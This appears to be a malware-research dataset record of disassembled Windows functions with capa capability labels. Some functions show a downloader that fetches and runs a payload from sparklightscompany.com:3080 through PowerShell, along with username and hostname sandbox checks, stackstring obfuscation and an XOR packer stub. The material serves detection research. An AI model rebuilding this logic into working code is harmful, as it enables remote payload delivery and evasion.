joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40e6d0
Capabilities:
Execute command

Disassembly:
push edi
push esi
push ebx
sub esp, 0x490
mov eax, dword [esp + 0x4a0]
lea ebx, [esp + 0xda]
lea edi, [esp + 0x28]
mov dword [esp + 8], str.sparklightscompany.com:3080
mov dword [esp], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], str.powershell_Write_Output__Invoke_WebRequest__Uri__http:___s__s__.Content
call sym._sprintf_9
mov dword [esp], ebx
lea ebx, [esp + 0x5a]
mov dword [esp + 4], 0x43f6cc
call dword [sym.imp.msvcrt.dll__popen]
mov esi, eax
test eax, eax
jne 0x40e74c
jmp 0x40e8e0
mov dword [esp + 4], ebx
mov dword [esp], 0x43f4e4
call sym._printf.constprop.0_5
mov dword [esp + 4], ebx
mov dword [esp], edi
call sym._strcpy
mov dword [esp + 8], esi
mov dword [esp + 4], pe_nt_image_headers32
mov dword [esp], ebx
call sym._fgets
test eax, eax
jne 0x40e730
mov dword [esp], esi
call dword [sym.imp.msvcrt.dll__pclose]
cmp eax, 0xffffffff
je 0x40e8d0
lea esi, [esp + 0x28]
mov dword [esp + 4], str.0.1.1
mov dword [esp], esi
call sym._strstr
mov dword [esp + 4], esi
mov dword [esp], str.Check_version_return:__s_n
mov ebx, eax
call sym._printf_10
test ebx, ebx
je 0x40e7c0
mov dword [esp], str.DONT_UPDATE_VERSION
call sym._puts
add esp, 0x490
xor eax, eax
pop ebx
pop esi
pop edi
ret
mov dword [esp], str.UPDATE_VERSION
lea ebx, [esp + 0x170]
lea esi, [esp + 0x238]
call sym._puts
mov eax, dword [esp + 0x4ac]
mov dword [esp + 4], str.C:Users_s_s_s
mov dword [esp], ebx
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x4a8]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x4a4]
mov dword [esp + 8], eax
call sym._sprintf_9
mov eax, dword [esp + 0x4ac]
mov dword [esp], esi
mov dword [esp + 8], str.sparklightscompany.com:3080
mov dword [esp + 0xc], eax
mov dword [esp + 4], str.https:___s__s
call sym._sprintf_9
mov dword [esp + 8], esi
lea esi, [esp + 0x300]
mov dword [esp + 0xc], ebx
mov dword [esp + 4], str.powershell_Invoke_WebRequest__Uri___s___OutFile___s_
mov dword [esp], esi
call sym._sprintf_9
mov dword [esp], str.sparklightscompany.com:3080
call sym._free
mov dword [esp], esi
call sym._system
test eax, eax
jne 0x40e8ac
lea eax, [esp + 0x20]
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], 0
call sym._execve
cmp eax, 0xffffffff
jne 0x40e7a0
mov dword [esp], str.__Running_updater_failed
call sym._puts
mov dword [esp], str.execve
call sym._perror
jmp 0x40e8b8
mov dword [esp], str.__Download_failed
call sym._puts
add esp, 0x490
mov eax, 1
pop ebx
pop esi
pop edi
ret
mov dword [esp], str.pclose_failed
call sym._perror
jmp 0x40e8b8
mov dword [esp], str.popen_failed
call sym._perror
jmp 0x40e8b8
Function at 0x40e8f0
Capabilities:
Execute command
Move file

Disassembly:
push edi
push esi
push ebx
sub esp, 0x720
mov eax, dword [esp + 0x73c]
lea ebx, [esp + 0x1a8]
mov dword [esp + 4], str.powershell_dir__s____null
mov dword [esp], ebx
mov dword [esp + 8], eax
call sym._sprintf_9
mov dword [esp], ebx
call sym._system
mov ebx, eax
test eax, eax
jne 0x40e938
add esp, 0x720
mov eax, ebx
pop ebx
pop esi
pop edi
ret
mov eax, dword [esp + 0x744]
lea ebx, [esp + 0x2d4]
mov dword [esp + 4], str.C:Users_s_s
lea edi, [esp + 0x52c]
mov dword [esp], ebx
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x730]
mov dword [esp + 8], eax
call sym._sprintf_9
mov dword [esp + 4], 0x43f518
mov dword [esp], ebx
call sym._check_exist
test eax, eax
je 0x40eab0
mov eax, dword [esp + 0x734]
lea esi, [esp + 0x18]
mov dword [esp + 4], str.C:Users_s_s411x_48kj.md
lea ebx, [esp + 0x400]
mov dword [esp], esi
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x730]
mov dword [esp + 8], eax
call sym._sprintf_9
mov eax, dword [esp + 0x738]
mov dword [esp + 4], str.http:___s__s
mov dword [esp], ebx
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x740]
mov dword [esp + 8], eax
call sym._sprintf_9
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], str.powershell_Invoke_WebRequest__Uri___s___OutFile___s_
mov dword [esp], edi
call sym._sprintf_9
mov eax, dword [esp + 0x740]
mov dword [esp], eax
call sym._free
mov dword [esp + 4], ebx
mov dword [esp], str.CURL_DOWNLOAD_URL:__s_n
call sym._printf_10
mov dword [esp], edi
call sym._system
test eax, eax
jne 0x40eaa0
mov dword [esp + 4], 0x43f7fb
mov dword [esp], esi
call sym._check_exist
mov ebx, eax
test eax, eax
je 0x40ea58
mov dword [esp], str.Curl_file_not_downloaded
call sym._puts
add esp, 0x720
mov ebx, 1
mov eax, ebx
pop ebx
pop esi
pop edi
ret
mov eax, dword [esp + 0x734]
lea edi, [esp + 0xe0]
mov dword [esp + 4], str.C:Users_s_scurl.exe
mov dword [esp], edi
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x730]
mov dword [esp + 8], eax
call sym._sprintf_9
mov dword [esp + 4], edi
mov dword [esp], esi
call sym._rename
add esp, 0x720
mov eax, ebx
pop ebx
pop esi
pop edi
ret
mov dword [esp], str.No_curl
call sym._puts
jmp 0x40ea44
mov dword [esp + 8], ebx
mov dword [esp + 4], str.mkdir__s
mov dword [esp], edi
call sym._sprintf_9
mov dword [esp], edi
call sym._system
test eax, eax
jne 0x40eae8
mov dword [esp], str.Created_folder
call sym._puts
jmp 0x40e984
mov dword [esp], str.Creating_folder_failed
call sym._puts
jmp 0x40e984
Function at 0x40eba0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push esi
mov eax, 0x69
push ebx
sub esp, 0x94
mov word [esp + 0x2a], ax
lea eax, [esp + 0x1a]
lea ebx, [esp + 0x2c]
mov dword [esp + 0x1a], 0x65776f70
mov dword [esp + 0x1e], 0x65687372
mov dword [esp + 0x22], 0x77206c6c
mov dword [esp + 0x26], 0x6d616f68
mov dword [esp + 4], 0x43f83c
mov dword [esp], eax
call dword [sym.imp.msvcrt.dll__popen]
mov dword [esp], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], 0x64
call sym._fgets
mov dword [esp], ebx
call sym._SHA256
mov dword [esp], 0xd
mov ebx, eax
call sym._malloc
lea edx, [ebx + 1]
mov esi, eax
sub eax, edx
cmp eax, 2
jbe 0x40ec58
test bl, 3
jne 0x40ec58
mov eax, dword [ebx]
mov dword [esi], eax
mov eax, dword [ebx + 4]
mov dword [esi + 4], eax
mov eax, dword [ebx + 8]
mov dword [esi + 8], eax
movzx eax, byte [ebx + 0xc]
mov byte [esi + 0xc], al
mov dword [esp], ebx
call sym._free
mov byte [esi + 0xd], 0
add esp, 0x94
mov eax, esi
pop ebx
pop esi
ret
movzx eax, byte [ebx]
mov byte [esi], al
movzx eax, byte [ebx + 1]
mov byte [esi + 1], al
movzx eax, byte [ebx + 2]
mov byte [esi + 2], al
movzx eax, byte [ebx + 3]
mov byte [esi + 3], al
movzx eax, byte [ebx + 4]
mov byte [esi + 4], al
movzx eax, byte [ebx + 5]
mov byte [esi + 5], al
movzx eax, byte [ebx + 6]
mov byte [esi + 6], al
movzx eax, byte [ebx + 7]
mov byte [esi + 7], al
movzx eax, byte [ebx + 8]
mov byte [esi + 8], al
movzx eax, byte [ebx + 9]
mov byte [esi + 9], al
movzx eax, byte [ebx + 0xa]
mov byte [esi + 0xa], al
movzx eax, byte [ebx + 0xb]
mov byte [esi + 0xb], al
movzx eax, byte [ebx + 0xc]
jmp 0x40ec3a
Function at 0x40f190
Capabilities:
Get system information on windows

Disassembly:
sub esp, 0x4c
lea eax, [esp + 0x1c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor eax, eax
sub esp, 4
cmp dword [esp + 0x30], 3
seta al
add esp, 0x4c
ret

Function at 0x40f310
Capabilities:
Get session user name

Disassembly:
push ebx
sub esp, 0x228
lea ebx, [esp + 0x1e]
lea eax, [esp + 0x18]
mov dword [esp + 0x18], 0x100
mov dword [esp + 4], eax
mov dword [esp], ebx
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
sub esp, 8
mov dword [esp], ebx
call dword [sym.imp.USER32.dll_CharUpperW]
sub esp, 4
mov dword [esp + 4], str.ADMIN
mov dword [esp], ebx
call sym._wcsstr
test eax, eax
je 0x40f359
xor eax, eax
add esp, 0x228
pop ebx
ret

Function at 0x40f370
Capabilities:
Get hostname

Disassembly:
push ebx
sub esp, 0x48
lea ebx, [esp + 0x20]
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 0x10
mov dword [esp + 4], eax
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
sub esp, 8
mov dword [esp], ebx
call dword [sym.imp.USER32.dll_CharUpperW]
sub esp, 4
mov dword [esp + 4], str.DESKTOP_
mov dword [esp], ebx
call sym._wcsstr
test eax, eax
je 0x40f3b6
xor eax, eax
add esp, 0x48
pop ebx
ret

Function at 0x40f680
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x40f6e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x447ed4]
test esi, esi
jle 0x40f800
mov eax, dword [0x447ed8]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x40f714
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x40f797
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x40f700
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x40f827
mov eax, dword [0x447ed8]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x447ed8]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x40f807
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x40f790
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x40f7a0
add dword [0x447ed4], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x447ed8]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x40f790
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x40f71e
mov eax, dword [0x447ed8]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, [esi]
nop

Function at 0x40fd40
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x447ef0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x447ee8]
sub esp, 4
test ebx, ebx
je 0x40fd95
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40fd8e
test esi, esi
je 0x40fd8e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x40fd70
mov dword [esp], 0x447ef0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4100d0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x4100f5
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x410100
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x4100f5
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x410148
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x41013e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x41014a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x410130
xor eax, eax
pop ebx
pop esi
ret

Function at 0x4104f0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x13c
mov ebx, dword [esp + 0x150]
call sym.__errno
mov dword [eax], 0
test ebx, ebx
je 0x410670
cmp byte [ebx], 0
je 0x410638
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
sub esp, 4
cmp eax, 0xffffffff
je 0x410680
test al, 0x10
je 0x410638
lea esi, [esp + 0x2c]
mov dword [esp + 4], ebx
mov dword [esp + 8], 0x104
mov dword [esp], esi
call sym.__fullpath
mov dword [esp], esi
call sym._strlen
mov dword [esp + 0x1c], eax
mov ebx, eax
lea eax, [eax + 0x233]
mov dword [esp], eax
call sym._malloc
mov edx, eax
test eax, eax
je 0x41068f
lea ebp, [eax + 0x22c]
lea eax, [ebx + 1]
cmp eax, 4
jb 0x410610
mov ecx, dword [esp + eax + 0x28]
mov edi, ebp
mov dword [ebp + eax - 4], ecx
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
cmp byte [edx + 0x22c], 0
je 0x4105ba
movzx ecx, byte [edx + ebx + 0x22b]
cmp cl, 0x5c
je 0x4105ba
cmp cl, 0x2f
jne 0x410658
mov eax, dword [esp + 0x1c]
mov ecx, 0x2a
lea ebx, [edx + 0x120]
mov edi, ebx
mov word [ebp + eax], cx
xor eax, eax
mov ecx, 0x41
mov dword [edx + 0x224], 0xffffffff
mov dword [edx + 0x228], 0
mov dword [edx + 0x118], 0
mov dword [edx + 0x11c], 0
rep stosd dword es:[edi], eax
add esp, 0x13c
mov eax, edx
pop ebx
pop esi
pop edi
pop ebp
ret
test eax, eax
je 0x41059b
movzx ecx, byte [esp + 0x2c]
mov byte [ebp], cl
test al, 2
je 0x41059b
movzx ecx, word [esp + eax + 0x2a]
mov word [ebp + eax - 2], cx
jmp 0x41059b
call sym.__errno
xor edx, edx
mov dword [eax], 0x14
add esp, 0x13c
mov eax, edx
pop ebx
pop esi
pop edi
pop ebp
ret
mov esi, 0x5c
mov dword [esp + 0x1c], eax
mov word [ebp + ebx], si
jmp 0x4105ba
call sym.__errno
xor edx, edx
mov dword [eax], 0xe
jmp 0x410645
call sym.__errno
xor edx, edx
mov dword [eax], 2
jmp 0x410645
call sym.__errno
xor edx, edx
mov dword [eax], 0xc
jmp 0x410645
Function at 0x4afce4
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb4
mov dword [esp], eax
lea esi, [esp + 0x30]
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edi, dword [esp]
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4afdaf
jmp 0x4afda3
cmp dword [esi + 0x10], 0x1000
jne 0x4afd8f
test byte [esi + 0x15], 1
jne 0x4afd8f
mov byte [esp + 4], 0
mov ebp, dword [esi + 0x14]
cmp ebp, 1
je 0x4afd40
cmp ebp, 2
je 0x4afd40
cmp ebp, 0x10
je 0x4afd40
cmp ebp, 0x20
jne 0x4afd5c
lea eax, [esp + 8]
push eax
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x4afd5c
mov byte [esp + 4], 1
xor ebx, ebx
jmp 0x4afd6d
mov eax, dword [esi]
add eax, ebx
call fcn.004afcdc
add ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0xc]
jb 0x4afd60
cmp byte [esp + 4], 0
je 0x4afd8f
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov edi, eax
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4afdaf
mov eax, dword [esi + 4]
cmp eax, dword [esp]
je 0x4afd15
add esp, 0x4c
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x4904aaf
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x42e04e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x42e024
nop
mov eax, section..data
nop
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x3ffe5da2
nop
nop
nop
test eax, eax
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x40716c
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffdf4
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00409bf4
test esi, esi
jne 0x4071a2
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameW
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00409d7c
jmp 0x4071c0
call sub.kernel32.dll_GetCommandLineW
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.004070b0
mov edi, eax
test esi, esi
je 0x4071c0
cmp dword [ebx], 0
je 0x4071c0
dec esi
jmp 0x4071a9
add esp, 0x20c
pop edi
pop esi
pop ebx
ret

Function at 0x4071f4
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x52c008], 0x8088405
inc edx
mov dword [ebx + 0x52c008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x40880c
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov edi, edx
mov esi, eax
mov ebp, dword [esi + 0x10]
mov eax, esi
call fcn.00408c98
mov byte [esp], al
cmp byte [esp], 0
jne 0x408995
test edi, edi
je 0x408995
mov byte [esp + 1], 0
test ebp, ebp
jle 0x4088d5
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
xor eax, eax
mov dword [esp + 0xc], eax
test ebp, ebp
jle 0x4088b0
cmp edi, 0xffffffff
je 0x408871
call sub.kernel32.dll_GetTickCount
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x408871
mov byte [esp], 0
jmp 0x408995
cmp dword [esi], 1
jg 0x4088b0
cmp dword [esi], 0
jne 0x4088a2
xor eax, eax
mov edx, 1
lock cmpxchg dword [esi], edx
test eax, eax
jne 0x4088a2
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
mov byte [esp], 1
jmp 0x408995
lea eax, [esp + 0xc]
call fcn.004084c8
dec ebp
test ebp, ebp
jg 0x408856
cmp edi, 0xffffffff
je 0x4088d5
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x4088d3
mov byte [esp], 0
jmp 0x408995
sub edi, eax
mov ebx, dword [esi]
test ebx, ebx
je 0x40881a
lea edx, [ebx + 2]
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x4088d5
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
mov eax, esi
call fcn.00408a04
mov edx, eax
mov ebx, dword [0x5348f8]
mov ecx, edi
xor eax, eax
call dword [ebx + 0x10]
test eax, eax
sete byte [esp]
cmp edi, 0xffffffff
je 0x408939
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
jbe 0x408937
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
sub edi, eax
jmp 0x408939
xor edi, edi
cmp byte [esp], 0
je 0x40895f
mov ebx, dword [esi]
test bl, 1
jne 0x408975
mov edx, ebx
sub edx, 2
or edx, 1
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x40893f
mov byte [esp + 1], 1
jmp 0x408975
mov ebx, dword [esi]
mov edx, ebx
sub edx, 2
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x40895f
mov byte [esp + 1], 1
cmp byte [esp + 1], 0
je 0x4088ec
cmp byte [esp], 0
je 0x408995
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
movzx eax, byte [esp]
add esp, 0x10
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4095d8
Capabilities:
Terminate process

Disassembly:
push ecx
push ebx
push esi
push edi
mov ebx, 0x536b98
cmp dword [ebp + 0xc], 2
jl 0x4095ec
mov ebx, 0x536bc8
mov esi, ebx
lea edi, [ebp - 0x40]
mov ecx, 0xc
rep movsd dword es:[edi], dword [esi]
pop dword [ebx + 0x20]
pop dword [ebx + 0x1c]
pop dword [ebx + 0x18]
mov dword [ebx + 0x14], ebp
mov dword [ebx + 8], eax
mov dword [ebx + 0x10], edx
lea ecx, [ebp - 0x40]
mov dword [ebx], ecx
call sub.kernel32.dll_GetCurrentThreadId
mov dword [ebx + 0x2c], eax
mov eax, dword [ebx + 8]
xor ecx, ecx
cmp dword [ebp + 0xc], 0
jne 0x409624
mov ecx, dword [eax]
mov dword [ebx + 0xc], ecx
mov eax, 0x4050cc
mov dword [0x53401c], eax
mov eax, 0x4050d4
mov dword [0x534020], eax
mov eax, ebx
call fcn.004094bc
mov eax, dword [ebp + 0xc]
inc eax
mov byte [ebx + 0x28], al
dec eax
pop ecx
mov edx, dword [ecx]
mov dword [ebx + 0x24], edx
je 0x409659
cmp al, 3
jge 0x409659
call dword [ecx + eax*4]
push ecx
mov ecx, dword [esp + 8]
test ecx, ecx
je 0x40966a
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
call ecx
pop ecx
mov eax, dword [ebp + 0xc]
cmp al, 3
jl 0x409675
call dword [ecx + eax*4]
cmp dword [0x534040], 0
jne 0x40968b
mov byte [0x534048], 1
fnstcw word [0x52c028]
mov eax, dword [ebp + 0xc]
dec eax
jne fcn.00409924
call fcn.0040956c
ret 4

Function at 0x40988c
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x534058], 0
je 0x4098f3
cmp word [0x534344], 0xd7b2
jne 0x4098b5
cmp dword [0x53434c], 0
jbe 0x4098b5
mov eax, 0x534340
call dword [0x53435c]
push 0
lea eax, [esp + 4]
push eax
push 0x1d
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
mov eax, 0x409920
call fcn.0040a49c
push eax
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x52c032], 0
jne 0x40990f
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x409ab4
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov edi, dword [ebp + 0x10]
cmp dword [0x52c034], 0
je 0x409adf
mov edx, edi
mov eax, esi
call dword [0x52c034]
mov ebx, eax
jmp 0x409af0
mov eax, 8
call fcn.00406e0c
mov ebx, eax
mov dword [ebx], esi
mov dword [ebx + 4], edi
mov byte [0x534059], 1
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
push ebx
mov eax, 0x409a7c
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_CreateThread
mov esi, eax
test esi, esi
jne 0x409b20
mov eax, ebx
call fcn.00406e28
mov eax, esi
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 0xc
Function at 0x40c850
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe98
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x160], ecx
mov dword [ebp - 0x164], ecx
mov dword [ebp - 0x168], ecx
mov dword [ebp - 4], edx
mov esi, eax
xor eax, eax
push ebp
push 0x40c9b5
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00409bf4
cmp si, word [0x52ca00]
jb 0x40c8e8
cmp si, word [0x52cc00]
ja 0x40c8e8
mov edi, 0x40
xor eax, eax
mov dword [ebp - 8], eax
cmp edi, dword [ebp - 8]
jb 0x40c8e8
mov ebx, edi
add ebx, dword [ebp - 8]
shr ebx, 1
cmp si, word [ebx*8 + 0x52ca00]
jae 0x40c8c2
mov edi, ebx
dec edi
jmp 0x40c8e3
cmp si, word [ebx*8 + 0x52ca00]
jbe 0x40c8d2
inc ebx
mov dword [ebp - 8], ebx
jmp 0x40c8e3
mov edx, dword [ebp - 4]
mov eax, dword [ebx*8 + 0x52ca04]
call fcn.0040c770
jmp 0x40c8e8
cmp edi, dword [ebp - 8]
jae 0x40c8ac
mov eax, dword [ebp - 4]
cmp dword [eax], 0
jne 0x40c997
push 2
movzx eax, si
push eax
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x40c997
push 0x55
lea eax, [ebp - 0xb2]
push eax
push 0x59
movzx ebx, si
push ebx
call sub.kernel32.dll_GetLocaleInfoW
push 0x55
lea eax, [ebp - 0x15c]
push eax
push 0x5a
push ebx
call sub.kernel32.dll_GetLocaleInfoW
lea eax, [ebp - 0x160]
lea edx, [ebp - 0xb2]
mov ecx, 0x55
call fcn.0040a8b8
push dword [ebp - 0x160]
push 0x40c9d0
lea eax, [ebp - 0x164]
lea edx, [ebp - 0x15c]
mov ecx, 0x55
call fcn.0040a8b8
push dword [ebp - 0x164]
push 0x40c9e0
lea eax, [ebp - 0x168]
lea edx, [ebp - 0xb2]
mov ecx, 0x55
call fcn.0040a8b8
push dword [ebp - 0x168]
mov eax, dword [ebp - 4]
mov edx, 5
call fcn.0040aaf0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c9bc
lea eax, [ebp - 0x168]
mov edx, 3
call fcn.00409c54
ret